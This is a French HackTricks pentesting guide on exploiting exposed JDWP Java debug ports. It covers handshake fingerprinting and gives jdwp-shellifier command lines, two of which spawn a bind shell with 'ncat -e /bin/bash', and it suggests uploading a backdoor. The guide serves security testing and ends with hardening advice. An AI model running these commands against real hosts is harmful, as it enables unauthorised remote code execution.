8.2 KiB
Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion. Réalisez un test d'intrusion complet depuis n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, exploiter des failles, et s'amuser.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Exploitation
L'exploitation de JDWP repose sur le manque d'authentification et de chiffrement du protocole. On le trouve généralement sur le port 8000, mais d'autres ports sont possibles. La connexion initiale se fait en envoyant un "JDWP-Handshake" au port cible. Si un service JDWP est actif, il répond avec la même chaîne, confirmant sa présence. Ce handshake agit comme une méthode de fingerprinting pour identifier les services JDWP sur le réseau.
En termes d'identification de processus, rechercher la chaîne "jdwk" dans les processus Java peut indiquer une session JDWP active.
L'outil de référence est jdwp-shellifier. Vous pouvez l'utiliser avec différents paramètres :
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
J'ai constaté que l'utilisation de --break-on 'java.lang.String.indexOf'
rend l'exploit plus stable. Et si vous avez la possibilité de télécharger un backdoor sur l'hôte et de l'exécuter au lieu d'exécuter une commande, l'exploit sera encore plus stable.
Plus de détails
Ceci est un résumé de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Consultez-le pour plus de détails.
- Aperçu de JDWP :
- C'est un protocole binaire réseau basé sur des paquets, principalement synchrone.
- Il manque d'authentification et de cryptage, ce qui le rend vulnérable lorsqu'il est exposé à des réseaux hostiles.
- Handshake JDWP :
- Un processus de handshake simple est utilisé pour initier la communication. Une chaîne ASCII de 14 caractères “JDWP-Handshake” est échangée entre le Débogueur (client) et le Débogué (serveur).
- Communication JDWP :
- Les messages ont une structure simple avec des champs comme Longueur, Id, Drapeau et CommandSet.
- Les valeurs de CommandSet varient de 0x40 à 0x80, représentant différentes actions et événements.
- Exploitation :
- JDWP permet de charger et d'invoquer des classes et du bytecode arbitraires, posant des risques de sécurité.
- L'article détaille un processus d'exploitation en cinq étapes, impliquant la récupération des références Java Runtime, la définition de points d'arrêt et l'invocation de méthodes.
- Exploitation dans la vie réelle :
- Malgré les protections potentielles des pare-feu, les services JDWP sont découvrables et exploitables dans des scénarios réels, comme le démontrent les recherches sur des plateformes comme ShodanHQ et GitHub.
- Le script d'exploit a été testé contre diverses versions de JDK et est indépendant de la plateforme, offrant une exécution de code à distance (RCE) fiable.
- Implications de sécurité :
- La présence de services JDWP ouverts sur Internet souligne la nécessité de révisions de sécurité régulières, de désactivation des fonctionnalités de débogage en production et de configurations appropriées des pare-feu.
Références :
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
Configuration instantanément disponible pour l'évaluation des vulnérabilités et le pentesting. Effectuez un pentest complet depuis n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance à la rédaction de rapports. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts GitHub.